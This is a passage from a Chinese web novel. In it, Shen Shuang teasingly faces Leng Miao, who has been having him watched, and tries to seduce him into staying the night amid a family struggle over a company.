徐丰年克制地“嗯”一声,“再见。”
他看着沈霜坐上敞篷车,留下车尾气,潇洒离开。
徒留自己心脏失了序。
沈霜半眯着眼,所有的情绪烟一样散开,只剩下漆黑的空,像蛇一样。
冷邈来的很突然,近晚上十点,距他离开才短短三天,冷缪没料到哥哥会会来的如此急不可耐,此刻还在公司里加班。
对于空房里的小嫂和大哥的暧昧情事全然不知情。
祖母绿胸针夹在指尖把玩,冷邈目光冷静地望着进门的沈霜,有不明觉厉的冷冽,“玩的开心吗?”
那模样简直像发现妻子出轨的妒夫,拿出了正宫容忍的架势。
“您监视我。”沈霜含着笑,“可以再光明正大一些,不要让那些人偷偷摸摸的。”
冷邈不置可否,避开话题,“徐丰年很好玩弄吧?”
几句话就被哄得和傻子一样,交出举荐信,送沈霜登上更高的台阶。
“您也一样呀。”沈霜语气很软,字词却挑衅至极。
“你要的胸针。”冷缪简言意骇,拍了拍自己的大腿,“霜霜,坐过来。”
“哥哥,”沈霜走过去,接过胸针放在桌上,翘着腿坐在冷邈的腿上,像恃宠而骄的猫,“留下来吗?”
冷邈抬起手,轻贴着沈霜的脖颈,似是衡量,不需要用多大力气,脆弱的脖颈就会被拧断。
沈霜顺从地抬头,白皙脖颈拉长,像引颈待戮的天鹅,纯然的脸像觉察不到危险。
“你究竟想做什么?”冷缪用了点力气。
脖颈感觉到阻滞,沈霜放缓了呼吸,不回应,只重复问:“您要留下来吗?”
“现在回去还有最晚的航班,选择权在您。”
明晃晃的陷阱,捕兽夹就在眼前,毫不遮掩,只要靠近,就会被崭新的夹子捕获。
“我刚上飞机,冷绛就死而复活,堂而皇之进入公司。”冷邈阴沉着脸,眼神是阴鸷的,“你要我不顾公司安危,留在这里,你能拿出什么筹码?”
沈霜笑得热烈,抬手勾上冷邈的脖颈,舌尖舔舐着耳廓,激起战栗,燥热在体内席卷,温热的吐息落在耳畔。
“听自己三弟和二弟妹的墙角,刺激吗?”